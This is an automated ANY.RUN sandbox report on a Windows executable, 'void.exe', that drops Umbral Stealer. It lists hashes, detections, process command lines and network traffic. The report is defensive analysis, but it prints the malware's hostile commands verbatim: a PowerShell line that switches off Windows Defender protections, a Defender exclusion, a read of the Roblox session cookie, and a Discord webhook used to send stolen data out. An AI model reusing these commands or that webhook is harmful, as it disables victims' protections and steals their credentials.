File name:

void.exe

Full analysis: https://app.any.run/tasks/59f0fc01-9e23-445a-8459-69ef5a1800b9
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: January 09, 2025, 20:00:06
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
umbralstealer
stealer
arch-doc
discord
exfiltration
discordgrabber
generic
umbral
ims-api
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 8 sections
MD5:

B95EBCF2AE71C29E2FAB45E455454F66

SHA1:

6D2B76CCA8A9F9B83652B570FDC56A2B39C1A3DA

SHA256:

26AB66EBBAEBD820BA8BE4DA58FE5D2403F29C254E6946354E128B4379B09EF6

SSDEEP:

49152:44O0CTev9R/rqokmOCdf4tv4O2zl+yEZyu:u0CTCHrQCKQvlLu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Adds path to the Windows Defender exclusion list

      • Source code.exe (PID: 6940)

    • Changes settings for checking scripts for malicious actions

      • powershell.exe (PID: 3436)

    • Changes settings for real-time protection

      • powershell.exe (PID: 3436)

    • Changes antivirus protection settings for downloading files from the Internet (IOAVProtection)

      • powershell.exe (PID: 3436)

    • Changes Controlled Folder Access settings

      • powershell.exe (PID: 3436)

    • Changes settings for reporting to Microsoft Active Protection Service (MAPS)

      • powershell.exe (PID: 3436)

    • Changes settings for sending potential threat samples to Microsoft servers

      • powershell.exe (PID: 3436)

    • Changes settings for protection against network attacks (IPS)

      • powershell.exe (PID: 3436)

    • UMBRAL has been detected (YARA)

      • Source code.exe (PID: 6940)

    • UMBRALSTEALER has been detected (YARA)

      • Source code.exe (PID: 6940)

    • DISCORDGRABBER has been detected (YARA)

      • Source code.exe (PID: 6940)

    • Create files in the Startup directory

      • Source code.exe (PID: 6940)

    • Steals credentials from Web Browsers

      • Source code.exe (PID: 6940)

    • Actions looks like stealing of personal data

      • Source code.exe (PID: 6940)

    • Starts CMD.EXE for self-deleting

      • Source code.exe (PID: 6940)

    • UMBRALSTEALER has been detected (SURICATA)

      • Source code.exe (PID: 6940)

    • Attempting to use instant messaging service

      • Source code.exe (PID: 6940)

    • Stealers network behavior

      • Source code.exe (PID: 6940)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • void.exe (PID: 6328)
      • Source code.exe (PID: 6392)

    • Executable content was dropped or overwritten

      • void.exe (PID: 6328)
      • Source code.exe (PID: 6940)

    • Uses WMIC.EXE to obtain Windows Installer data

      • Source code.exe (PID: 6392)
      • Source code.exe (PID: 6940)

    • Reads the date of Windows installation

      • Source code.exe (PID: 6392)

    • Accesses product unique identifier via WMI (SCRIPT)

      • WMIC.exe (PID: 6604)
      • WMIC.exe (PID: 7040)
      • WMIC.exe (PID: 5160)

    • Application launched itself

      • Source code.exe (PID: 6392)

    • Uses ATTRIB.EXE to modify file attributes

      • Source code.exe (PID: 6940)

    • Checks for external IP

      • Source code.exe (PID: 6392)
      • svchost.exe (PID: 2192)
      • Source code.exe (PID: 6940)

    • Script disables Windows Defender's real-time protection

      • Source code.exe (PID: 6940)

    • Script disables Windows Defender's IPS

      • Source code.exe (PID: 6940)

    • Script adds exclusion path to Windows Defender

      • Source code.exe (PID: 6940)

    • Starts POWERSHELL.EXE for commands execution

      • Source code.exe (PID: 6940)

    • Accesses operating system name via WMI (SCRIPT)

      • WMIC.exe (PID: 6208)

    • Uses WMIC.EXE to obtain operating system information

      • Source code.exe (PID: 6940)

    • Uses WMIC.EXE to obtain computer system information

      • Source code.exe (PID: 6940)

    • Starts CMD.EXE for commands execution

      • Source code.exe (PID: 6940)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • Source code.exe (PID: 6940)

    • Uses WMIC.EXE to obtain a list of video controllers

      • Source code.exe (PID: 6940)

    • The process connected to a server suspected of theft

      • Source code.exe (PID: 6940)

    • Accesses video controller name via WMI (SCRIPT)

      • WMIC.exe (PID: 6516)

  • INFO

    • Checks supported languages

      • void.exe (PID: 6328)
      • triggerbot.exe (PID: 6372)
      • Source code.exe (PID: 6392)
      • Source code.exe (PID: 6940)

    • Reads the computer name

      • void.exe (PID: 6328)
      • Source code.exe (PID: 6392)
      • Source code.exe (PID: 6940)

    • Process checks computer location settings

      • void.exe (PID: 6328)
      • Source code.exe (PID: 6392)

    • The sample compiled with english language support

      • void.exe (PID: 6328)

    • Create files in a temporary directory

      • void.exe (PID: 6328)
      • Source code.exe (PID: 6940)

    • Reads the machine GUID from the registry

      • Source code.exe (PID: 6392)
      • Source code.exe (PID: 6940)

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 6604)
      • WMIC.exe (PID: 7040)
      • WMIC.exe (PID: 6208)
      • rundll32.exe (PID: 6464)
      • WMIC.exe (PID: 2828)

    • Disables trace logs

      • Source code.exe (PID: 6940)

    • Reads Environment values

      • Source code.exe (PID: 6940)

    • Reads the software policy settings

      • Source code.exe (PID: 6940)

    • The process uses the downloaded file

      • Source code.exe (PID: 6392)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 448)
      • powershell.exe (PID: 3436)
      • powershell.exe (PID: 5536)
      • powershell.exe (PID: 4628)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 448)

    • Attempting to use instant messaging service

      • Source code.exe (PID: 6940)
      • svchost.exe (PID: 2192)

    • Manual execution by a user

      • notepad.exe (PID: 6816)
      • rundll32.exe (PID: 6464)

    • Reads Microsoft Office registry keys

      • rundll32.exe (PID: 6464)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Delphi generic (37.4)
.scr | Windows screen saver (34.5)
.exe | Win32 Executable (generic) (11.9)
.exe | Win16/32 Executable Delphi generic (5.4)
.exe | Generic Win/DOS Executable (5.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 1992:06:19 22:22:17+00:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
PEType: PE32
LinkerVersion: 2.25
CodeSize: 5120
InitializedDataSize: 1232384
UninitializedDataSize: -
EntryPoint: 0x20cc
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
151
Monitored processes
34
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start void.exe triggerbot.exe no specs source code.exe wmic.exe no specs conhost.exe no specs svchost.exe #UMBRALSTEALER source code.exe wmic.exe no specs conhost.exe no specs attrib.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs wmic.exe no specs conhost.exe no specs wmic.exe no specs conhost.exe no specs wmic.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs wmic.exe no specs conhost.exe no specs notepad.exe no specs rundll32.exe no specs cmd.exe no specs conhost.exe no specs ping.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
448"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\admin\AppData\Local\Temp\Source code.exe'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Source code.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2828"wmic.exe" computersystem get totalphysicalmemoryC:\Windows\System32\wbem\WMIC.exe—Source code.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
3436"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Source code.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
3848\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—WMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4628"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITYC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Source code.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
4716\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4872\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5096\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
37 115
Read events
37 084
Write events
31
Delete events
0

Modification events

(PID) Process:(6328) void.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SlowContextMenuEntries
Value:
6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6392) Source code.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Source code_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
Executable files
3
Suspicious files
6
Text files
13
Unknown types
0

Dropped files

PID
Process
Filename
Type
448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ixrr0gtx.3z2.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6328void.exeC:\Users\admin\AppData\Local\Temp\Source code.exeexecutable
MD5:1BD8C57A285B16031347D648DA8236DF
SHA256:3FC0488CAEFD731DE70F92C6FB7BC71DDAA9C95304692357A53681D9878E4FE2
448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vt5atrsb.cir.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
448powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:4D6F17CB5B6BFA95DAF517CD04107008
SHA256:CA834CB182EE6029EE5BC8A0F86F71BA1BF0D12BC07500973E4C01516CC2AD2C
3436powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fc3bmbuc.uoq.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3436powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ws0h15x3.awd.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6940Source code.exeC:\Windows\System32\drivers\etc\hoststext
MD5:2992FEB95030E84DE4A6D2F432E17E5F
SHA256:5E9F7AAADDAD64848ADC44BD44DE1FFE3E69DFCCDEFF29B58067A7F313EABD2D
6940Source code.exeC:\Users\admin\AppData\Local\Temp\Ya2pMeV3qVEYzoAbinary
MD5:91FF0DAC5DF86E798BFEF5E573536B08
SHA256:DE676BAE28A480011D3D012DB14BEF539324E62A841A9627863C689BEA168AF3
6940Source code.exeC:\Users\admin\AppData\Local\Temp\zBMgOiJB0E4hGMy\Browsers\Cookies\Edge Cookies.txttext
MD5:4D3711EB22E4DE4E18EE2798220A5624
SHA256:A069B6FDD04BD8EA474694DA6B3E268B4EDF17BFDE48F35EBAC7BB0F2C2A439D
5536powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l3fd0c5s.lwm.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
25
DNS requests
8
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6392
Source code.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
shared
—
—
GET
204
142.250.185.99:443
https://gstatic.com/generate_204
unknown
—
—
—
6940
Source code.exe
GET
200
208.95.112.1:80
http://ip-api.com/line/?fields=hosting
unknown
—
—
shared
6940
Source code.exe
GET
200
208.95.112.1:80
http://ip-api.com/json/?fields=225545
unknown
—
—
shared
—
—
POST
404
162.159.137.232:443
https://discord.com/api/webhooks/1326189868132470804/0PHWSyQSIa4FHLD7ongsl606LGHkxDinslZqvpEbR2nHgiv9NT-W3uGflUZv7ShrMLLF
unknown
binary
45 b
whitelisted
—
—
POST
404
162.159.135.232:443
https://discord.com/api/webhooks/1326189868132470804/0PHWSyQSIa4FHLD7ongsl606LGHkxDinslZqvpEbR2nHgiv9NT-W3uGflUZv7ShrMLLF
unknown
binary
45 b
whitelisted
—
—
GET
204
142.250.185.99:443
https://gstatic.com/generate_204
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
2.16.204.154:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6392
Source code.exe
216.58.206.67:443
gstatic.com
GOOGLE
US
whitelisted
2220
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6392
Source code.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
shared
6940
Source code.exe
216.58.206.67:443
gstatic.com
GOOGLE
US
whitelisted
6940
Source code.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
shared

DNS requests

Domain
IP
Reputation
www.bing.com
  • 2.16.204.154
  • 2.16.204.151
  • 2.16.204.157
  • 2.16.204.141
  • 2.16.204.152
  • 2.16.204.145
  • 2.16.204.143
  • 2.16.204.146
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 142.250.184.206
whitelisted
gstatic.com
  • 216.58.206.67
whitelisted
ip-api.com
  • 208.95.112.1
shared
discord.com
  • 162.159.137.232
  • 162.159.136.232
  • 162.159.128.233
  • 162.159.138.232
  • 162.159.135.232
whitelisted
self.events.data.microsoft.com
  • 20.189.173.6
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2192
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
6392
Source code.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
6392
Source code.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
6940
Source code.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
6940
Source code.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
6940
Source code.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
6940
Source code.exe
A Network Trojan was detected
STEALER [ANY.RUN] UmbralStealer Generic External IP Check
2192
svchost.exe
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discord .com)
6940
Source code.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
void.exe